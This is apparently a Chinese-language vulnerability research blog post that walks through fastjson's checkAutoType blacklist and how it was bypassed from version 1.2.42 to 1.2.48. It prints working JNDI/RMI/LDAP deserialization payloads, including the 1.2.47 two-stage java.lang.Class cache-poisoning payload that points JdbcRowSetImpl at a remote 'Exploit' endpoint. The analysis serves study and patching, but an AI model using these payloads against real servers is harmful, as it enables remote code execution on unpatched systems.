修改明文黑名單為黑名單hash對於傳入的類名,刪除開頭L和結尾的;黑名單大致形式如下:
雖然說利用hash可以讓我們不知道禁用了什麼類,但是加密方式是有寫com.alibaba.fastjson.parser.ParserConfig#addDeny中的com.alibaba.fastjson.util.TypeUtils#fnv1a_64,我們理論上可以遍歷jar,字符串,類去碰撞得到這個hash的值。(因為常用的包是有限的)
public static long fnv1a_64(String key){ long hashCode = 0xcbf29ce484222325L; for(int i = 0; i < key.length; ++i){ char ch = key.charAt(i);hashCode ^= ch;hashCode *= 0x100000001b3L;} return hashCode;}//可以注意到,計算hash是遍歷每一位進行固定的異或和乘法運算進行累積運算
有一個Github項目就是完成了這樣的事情,並列出了目前已經得到的hash。
再是對於傳入的類名,刪除開頭L和結尾的;。com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class<?>, int)
// hash算法常量final long BASIC = 0xcbf29ce484222325L; final long PRIME = 0x100000001b3L; // 對傳入類名的第一位和最後一位做了hash,如果是L開頭,;結尾,刪去開頭結尾// 可以發現這邊只進行了一次刪除if ((((BASIC^ className.charAt(0))* PRIME)^ className.charAt(className.length - 1))* PRIME == 0x9198507b5af98f0L){className = className.substring(1, className.length - 1);} // 計算處理後的類名的前三個字符的hashfinal long h3 = (((((BASIC ^ className.charAt(0))* PRIME)^ className.charAt(1))* PRIME)^ className.charAt(2))* PRIME; if (autoTypeSupport || expectClass != null) { long hash = h3; //基於前三個字符的hash結果繼續進行hash運算//這邊一位一位運算比較其實就相當於之前的startswith,開頭匹配for (int i = 3; i < className.length; ++i) {hash ^= className.charAt(i);hash *= PRIME; //將運算結果跟白名單做比對if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false); if (clazz != null) { return clazz;}} //將運算結果跟黑名單做比對if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) { throw new JSONException("autoType is not support. " + typeName);}}} //之後就是一樣的處理,根據類名加載類
確實有效的幹掉了L開頭;結尾的payload。
1.2.42繞過
但是可以發現在以上的處理中,只刪除了一次開頭的L和結尾的;,這裡就好像使用黑名單預防SQL注入,只刪除了一次敏感詞彙的防禦錯誤一樣,重複一下就可以被輕易的繞過。所以payload如下:
//1.2.42繞過 jndi ldap{"@type":"LLcom.sun.rowset.RowSetImpl;;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}//1.2.42繞過 7u21同樣加上LL ;;,payload太長了且不唯一,就不寫了
1.2.43版本修復
在1.2.43中對於1.2.42版本可繞過的情況進行了修復。
修改了com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class<?>, int)的部分代碼
//hash計算基礎參數long BASIC = -3750763034362895579L; long PRIME = 1099511628211L; //L開頭,;結尾if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length - 1)) * 1099511628211L == 655701488918567152L) { //LL開頭if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) { //直接爆出異常throw new JSONException("autoType is not support. " + typeName);}className = className.substring(1, className.length - 1);}
可見就對了LL開頭的繞過進行了封堵。
至此我們之前的兩個利用鏈JdbcRowSetImpl和TemplatesImpl正式被封堵了(暫時)。在服務端放開白名單限制的情況下也繞不過黑名單。更別說服務端默認是開啟白名單的,這時候fastjson的風險已經很小了。
之後就是不斷有新的組件作為利用鏈引入進行攻擊,和黑名單的不斷擴充之間的拉鋸戰。(之前也說過著一切都是在顯性關閉白名單的情況下)
1.2.44 [ 限制
1.2.44補充了loadclass時[的利用情況,上面說到過,實際上這種形式的payload是用不了的。
比如FastjsonExpliot框架中的{"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"###RMI_LDAP_ADDRESS###","autoCommit":true}
但是在1.2.44中仍然對於這類類名進行了限制,使用同樣的payload進行測試。
1.2.45 黑名單添加
1.2.45添加了黑名單,封堵了一些可以繞過黑名單的payload,比如:
//需要有第三方組件ibatis-core 3:0{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}
黑名單封堵呢,其實是一個動態的過程,會有很多新增的jar包,如果服務端引入了這些額外的jar包,就會引入一條可利用鏈,,或者jdk又被發掘出了新增的鏈等等都會導致黑名單可被繞過。當然在1.2.25之後這都是要在顯性白名單的情況下,才有的問題。
之後更新的版本比如1.2.46也都在補充黑名單
但是在1.2.47時,一個全新的payload就沒有這種限制,通殺。
1.2.47 通殺payload!
我們在分析1.2.47時,將從一個挖掘0day的角度去一步步分析,企圖復現這個漏洞的挖掘過程,不然正向看,不得勁。payload在最後給出。
我們重新來理一下com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class<?>, int)這個阻撓我們的方法,上面我們提到過白名單開關時我們走的是不一樣的路線,還在注釋中提到會有一些固定類型的判斷,這就是通殺payload的關鍵。
我們接下來看的是1.2.47版本的包,我們看總結後的代碼結構:
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) { //1.typeName為null的情況,略//2.typeName太長或太短的情況,略//3.替換typeName中$為.,略//4.使用hash的方式去判斷[開頭,或L開頭;結尾,直接報錯//這裡經過幾版的修改,有點不一樣了,但是繞不過,也略//5.autoTypeSupport為true(白名單關閉)的情況下,返回符合白名單的,報錯符合黑名單的//(這裡可以發現,白名單關閉的配置情況下,必須先過黑名單,但是留下了一線生機)if (autoTypeSupport || expectClass != null) { long hash = h3; for (int i = 3; i < className.length; ++i) {hash ^= className.charAt(i);hash *= PRIME; if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false); if (clazz != null) { return clazz;}} //要求滿足黑名單並且從一個Mapping中找不到這個類才會報錯,這個Mapping就是我們的關鍵if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) { throw new JSONException("autoType is not support. " + typeName);}}} //6.從一個Mapping中獲取這個類名的類,我們之後看if (clazz == null) {clazz = TypeUtils.getClassFromMapping(typeName);} //7.從反序列化器中獲取這個類名的類,我們也之後看if (clazz == null) {clazz = deserializers.findClass(typeName);} //8.如果在6,7中找到了clazz,這裡直接return出去,不繼續了if (clazz != null) { if (expectClass != null&& clazz != java.util.HashMap.class&& !expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName);} //無論是默認白名單開啟還是手動白名單關閉的情況,我們都要從這個return clazz中出去return clazz;} // 9. 針對默認白名單開啟情況的處理,這裡if (!autoTypeSupport) { long hash = h3; for (int i = 3; i < className.length; ++i) { char c = className.charAt(i);hash ^= c;hash *= PRIME; //碰到黑名單就死if (Arrays.binarySearch(denyHashCodes, hash) >= 0) { throw new JSONException("autoType is not support. " + typeName);} //滿足白名單可以活,但是白名單默認是空的if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) { if (clazz == null) {clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);} //針對expectCLass的特殊處理,沒有expectCLass,不管if (expectClass != null && expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName);} return clazz;}}} //通過以上全部檢查,就可以從這裡讀取clazzif (clazz == null) {clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);} //這裡對一些特殊的class進行處理,不重要//特性判斷等return clazz;}
仔細分析了一下,可以發現無論是白名單開啟與否,我們的惡意類都要想辦法必須要從第8步的return clazz出去才有機會。
因為白名單關閉(手動)時,我們如果進入第九步,會百分百跟黑名單正面撞上,必然被殺。我們只能在這之前溜出去,機會就在6,7步中。白名單開啟時(默認),雖然在第五步時,我們也會跟黑名單撞上,但是卻莫名其妙的會有一線生機,只要滿足TypeUtils.getClassFromMapping(typeName) != null(是!=)反而可以從黑名單中逃開。然後從第八步中return出去。那往之前看clazz可以從哪裡賦值,5、6、7三個地方,但是5是白名單匹配才返回。這不可能。
於是開始關注6,7這兩個操作到底是幹啥的,(其實根據已知白名單開不開都通殺的特性,肯定是在第6步TypeUtils.getClassFromMapping中得到的惡意類,但是這邊都瞅瞅,後面也會用到)
TypeUtils.getClassFromMapping(typeName)deserializers.findClass(typeName)deserializers.findClass(typeName)
先看desesrializers,一個hashmap
private final IdentityHashMap<Type, ObjectDeserializer> deserializers = new IdentityHashMap<Type, ObjectDeserializer>;
因為我們是從中取值,關注一下它是在哪裡賦值的,當前文件搜索deserializers.put。
com.alibaba.fastjson.parser.ParserConfig#initDeserializers:給出一部分截圖
initDeserializers這個函數是在parserConfig類的構造函數中初始化時調用的,存放的是一些認為沒有危害的固定常用類。理所當然不會包含我們的利用類。
除此之外還有兩個類會影響到desesrializers這個map
com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class<?>, java.lang.reflect.Type)//太過複雜代碼省略
在這個類中會往deserializers這個mapping中放入一些特定類:java.awt.*、java.time.*、java.util.Optional*、java.nio.file.Path、Map.Entry.class、以及在伺服器META-INF/services/目錄下存放的class文件,還有枚舉類的一些判斷。對於一些數組,集合,map等再調用putDesserializer(這也是另一個會影響到desesrializers這個map的類)放入deserializers這個mapping中。
在這個類中對於類名有著嚴格的要求和限定,不太行。看下一個。
com.alibaba.fastjson.parser.ParserConfig#putDeserializerpublic void putDeserializer(Type type, ObjectDeserializer deserializer) {deserializers.put(type, deserializer);}
代碼極其簡單,但是只在ParserConfig#getDeserializer(就是上面那個類)和initJavaBeanDeserializers類中使用過。但是後者是一個初始化函數,我們同樣不可控輸入值。
那麼我們好像發現我們的輸入不可以改變deserializers這個mapping的值,從而自然也不能進一步在checkAutoType中被get讀取出來,也就繞過不了。
這個deserializers在checkAutoType方法中存在的意義應該是直接放行一些常用的類,來提升解析速度。
那我們換一條路看看TypeUtils.getClassFromMapping(typeName)。
TypeUtils.getClassFromMapping(typeName)
先看getClassFromMapping:
//這個map是一個hashmapprivate static ConcurrentMap<String,Class<?>> mappings = new ConcurrentHashMap<String,Class<?>>(16, 0.75f, 1);... public static Class<?> getClassFromMapping(String className){ //很簡單的一個mapping的getreturn mappings.get(className);}
按照套路去尋找影響這個mappings的put方法。搜索mappings.put,在下面這兩個方法中有找到:
com.alibaba.fastjson.util.TypeUtils#addBaseClassMappingscom.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader, boolean)
看addBaseClassMappings這個方法,方法內容很長,我們就不細看了,但是它是一個沒有傳參的方法….這樣我們就沒有一個可控的參數去控制其中的內容。
private static void addBaseClassMappings{mappings.put("byte", byte.class);mappings.put("short", short.class);mappings.put("int", int.class);mappings.put("long", long.class); //諸如此類的放入一些固定的class至mappings中...}
並且還只在兩個沒毛病的地方調用了這個方法:
前者是一個static靜態代碼塊:
static{addBaseClassMappings;}
後者是一個clearClassMapping方法:
public static void clearClassMapping{mappings.clear;addBaseClassMappings;}
沒戲,不可控。
再看另一個有mappings.put的位置TypeUtils.loadClass,我們需要詳細看看這個方法:
其實這個TypeUtils.loadClass,在1.2.25-1.2.41中我們分析過一小段,其實是同一個函數!
public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) { //判斷className是否為空,是的話直接返回nullif(className == null || className.length == 0){ return null;} //判斷className是否已經存在於mappings中Class<?> clazz = mappings.get(className); if(clazz != null){ //是的話,直接返回return clazz;} //判斷className是否是[開頭,1.2.44中針對限制的東西就是這個if(className.charAt(0) == '['){Class<?> componentType = loadClass(className.substring(1), classLoader); return Array.newInstance(componentType, 0).getClass;} //判斷className是否L開頭;結尾,1.2.42,43中針對限制的就是這裡,但都是在外面限制的,裡面的東西沒變if(className.startsWith("L") && className.endsWith(";")){String newClassName = className.substring(1, className.length - 1); return loadClass(newClassName, classLoader);} //1. 我們需要關注的mappings在這裡有try{ //輸入的classLoader不為空時if(classLoader != null){ //調用加載器去加載我們給的classNameclazz = classLoader.loadClass(className); //!!如果cache為true!!if (cache) { //往我們關注的mappings中寫入這個classNamemappings.put(className, clazz);} return clazz;//返回加載出來的類}} catch(Throwable e){e.printStackTrace; // skip} //2. 在這裡也有,但是好像這裡有關線程,比較嚴格。try{ClassLoader contextClassLoader = Thread.currentThread.getContextClassLoader; if(contextClassLoader != null && contextClassLoader != classLoader){clazz = contextClassLoader.loadClass(className); //同樣需要輸入的cache為true,才有可能修改if (cache) {mappings.put(className, clazz);} return clazz;}} catch(Throwable e){ // skip} //3. 這裡也有,限制很鬆try{ //加載類clazz = Class.forName(className); //直接放入mappings中mappings.put(className, clazz); return clazz;} catch(Throwable e){ // skip} return clazz;}
可以發現如果可以控制輸入參數,是可以往這個mappings中寫入任意類名的(從而繞過autocheck的黑白名單)
看看這個類在什麼地方被引用。
前三者都是在ParserConfig#autocheck這個我們需要攻克的類中,如果能在那裡調用loadClass並傳入一個惡意類去加載。那就已經完成了我們的最終目的,根本不需要通過mappings這個空子去鑽。
所以只需要看TypeUtils.java中的引用處。
public static Class<?> loadClass(String className, ClassLoader classLoader) { return loadClass(className, classLoader, true);}
cache為true,一個好消息,因為有三處修改mapping的地方,兩個地方需要cache為true。
這百年可以看到在這個類中會自己引用自己的類,跳來跳去,但是也有外部的類引用當前類。這是我們主要關注的。(因為一個底層的工具類,不可能被我們直接調用到)
慢慢看,把跳出去的接口理出來
/com/alibaba/fastjson/serializer/MiscCodec.java#deserialze(DefaultJSONParser parser, Type clazz, Object fieldName):334
這兩個靜態的,沒搞頭,就不看了。
只有上面一個跳出去MiscCodec.java#deserialze的,我們再過去看看:
以下代碼段請一大段一大段倒著回退回來看
public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) {JSONLexer lexer = parser.lexer; //4. clazz類型等於InetSocketAddress.class的處理。//我們需要的clazz必須為Class.class,不進入if (clazz == InetSocketAddress.class) {...}Object objVal; //3. 下面這段賦值objVal這個值//此處這個大的if對於parser.resolveStatus這個值進行了判斷,我們在稍後進行分析這個是啥意思if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) { //當parser.resolveStatus的值為 TypeNameRedirectparser.resolveStatus = DefaultJSONParser.NONE;parser.accept(JSONToken.COMMA); //lexer為json串的下一處解析點的相關數據//如果下一處的類型為stringif (lexer.token == JSONToken.LITERAL_STRING) { //判斷解析的下一處的值是否為val,如果不是val,報錯退出if (!"val".equals(lexer.stringVal)) { throw new JSONException("syntax error");} //移動lexer到下一個解析點//舉例:"val":(移動到此處->)"xxx"lexer.nextToken;} else { throw new JSONException("syntax error");}parser.accept(JSONToken.COLON); //此處獲取下一個解析點的值"xxx"賦值到objValobjVal = parser.parse;parser.accept(JSONToken.RBRACE);} else { //當parser.resolveStatus的值不為TypeNameRedirect//直接解析下一個解析點到objValobjVal = parser.parse;}String strVal; //2. 可以看到strVal是由objVal賦值,繼續往上看if (objVal == null) {strVal = null;} else if (objVal instanceof String) {strVal = (String) objVal;} else { //不必進入的分支} if (strVal == null || strVal.length == 0) { return null;} //省略諸多對於clazz類型判定的不同分支。//1. 可以得知,我們的clazz必須為Class.class類型if (clazz == Class.class) { //我們由這裡進來的loadCLass//strVal是我們想要可控的一個關鍵的值,我們需要它是一個惡意類名。往上看看能不能得到一個惡意類名。return (T) TypeUtils.loadClass(strVal, parser.getConfig.getDefaultClassLoader);}
那麼經過分析,我們可以得到的關注點又跑到parser.resolveStatus這上面來了
當parser.resolveStatus == TypeNameRedirect 我們需要json串中有一個"val":"惡意類名",來進入if語句的true中,汙染objVal,再進一步汙染strVal。我們又需要clazz為class類來滿足if判斷條件進入loadClass。所以一個json串的格式大概為"@type"="java.lang.Class","val":"惡意類名" 這樣一個東西,大概如此。當parser.resolveStatus != TypeNameRedirect進入if判斷的false中,可以直接汙染objVal。再加上clazz=class類大概需要一個json串如下:"@type"="java.lang.Class","惡意類名"。至於哪裡調用了MiscCodec.java#deserialze,查看引用處其實可以發現這是一個非常多地方會調用到的常用函數,就比如解析過程中的com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)-384行
定向砸payload
那麼在得到如上信息中,我們就不必一直大海摸蝦。之前拿到了兩個分支paylaod,拿一個可能的paylaod,試試水看看能不能往TypeUtils.getClassFromMapping(typeName)裡面的mapping汙染我們的惡意類。
{ "@type": "java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"}
先是日常進入解析主要函數com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)
這裡有我們的三個在乎的點,如下順序:
public final Object parseObject(final Map object, Object fieldName) {...//先是checkAutoType這個萬惡的過濾函數clazz = config.checkAutoType(typeName, null, lexer.getFeatures);... //ResolveStatus的賦值this.setResolveStatus(TypeNameRedirect); //汙染TypeUtils.getClassFromMapping的觸發處Object obj = deserializer.deserialze(this, clazz, fieldName);}
com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class<?>, int)這個分析過了。
從deserializers.findClass(typeName)出去,這是我們之前分析過的一處可以繞過白名單黑名單出去的地方,但是這裡只存放一些默認類,不可汙染。而我們的class.class就在這個默認類列表中,自然直接出去了。(比如class.class怎麼也不會匹配到黑名單,不這裡出去,也是可以下面出去的)
再是,給ResolveStatus賦值了TypeNameRedirect,這樣到deserialze裡面就可以確定了分支,與預計吻合。這個payload砸的沒錯。
可以發現進入了我們預計希望進入的com.alibaba.fastjson.serializer.MiscCodec#deserialze,可以看到上面有複雜的if判斷,這就是得到初步的思路之後砸payload的好處,如果滿足條件,我們就不用費力氣去想這些是為啥的,反正默認進來了,不滿足我們再去看哪裡不符合就行。
一切按照計劃進行。
由於objVal是一個String,繼續賦值給strVal
跳跳跳,我們之前由checkAutoType得到的clazz為Class.class,進入loadCLass
默認cache為true,之前分析的時候也說到cache為true對我們來說是個好消息。接下來會有三種情況可以汙染我們的關鍵mapping。看看會進入哪一個
下一個
第二個if中,幫我們加載了一個classloader,再因為上一層的cache默認為true,就真的執行成功了mappings.put放入了我們的惡意類名!
完美穿針引線,一環扣一環,往mappings中加入了我們的惡意類。這就是大黑闊嘛,愛了愛了。
現在回頭來看這個mapping看到現在,就是放入一些已經加載過了的類,在checkAutoType中就不進行檢查來提高速度。
來一個調用棧:
那麼獲取一個有惡意類的類似緩存機制的mapping有啥用呢。再進一步@type就好。
之前看到其他博客說,一開始payload是分成兩截,因為伺服器的mappings自從加過惡意類之後,就會一直保持,然後就可以隨便打了。
但是之後為了不讓負載均衡,平攤payload造成有機率失敗,就變成了以下一個。
{ "a": { "@type": "java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"},"b": { "@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "ldap://localhost:1389/Exploit","autoCommit": true}}
審計結束完美。
回顧一下進來的過程:
我們進入com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)
checkAutoType方法拿到Class.class設置了ResolveStatus為TypeNameRedirect,決定了之後deserialze中的if走向進入deserializer.deserialzecom.alibaba.fastjson.serializer.MiscCodec#deserialze
parser.resolveStatus為TypeNameRedirect,進入if為true走向解析"val":"惡意類名",放入objVal,再傳遞到strVal因為clazz=Class.class,進入TypeUtils.loadClass,傳入strValcom.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader)
添加默認cache為true,調用loadClasscom.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader, boolean)
三個改變mappings的第一處,由於classLoader=null,不進入三個改變mappings的第二處,classLoader=null,進入;獲取線程classLoader,由於cache為true,添加mappings。1.2.48修復
對比代碼。修改了cache這一處。(右側為1.2.47代碼)
本來應該進入一個loadClass(兩個參數)的方法,然後默認cache為true,在進入三個參數的loadClass。
現在這邊直接指定過來三個參數loadClass同時cache為false。
可見,在同樣payload執行時,我們原來說會改變mappings的第二處就因為cache而無法改變。
但是我們還記得之前分析時有第三處不需要校驗cache的mappings賦值!精神一振,這就是0day的氣息麼!
然後…….
這就是程式設計師的力量麼,兩行代碼秒殺一切,愛了愛了,0day再見。
1.2.48以後
在這個通殺payload之後,就又恢復了一片平靜的,在服務端手動配置關閉白名單情況下的黑名單與繞過黑名單的戰爭。這個戰爭估計隨著代碼不斷迭代,也是不會停止的。
之後又出了一個影響廣泛的拒絕服務漏洞,在1.2.60版本被修復。
當然這與反序列化就無關了,同時這篇文章也寫得太久,太長了。也算是給2019做個結尾吧。
所以,
2020年,新年快樂。
要不 下場雪吧。
No.7
修復意見
升級至官方最新版本 1.62。(修復所有已知漏洞,具備最新黑名單)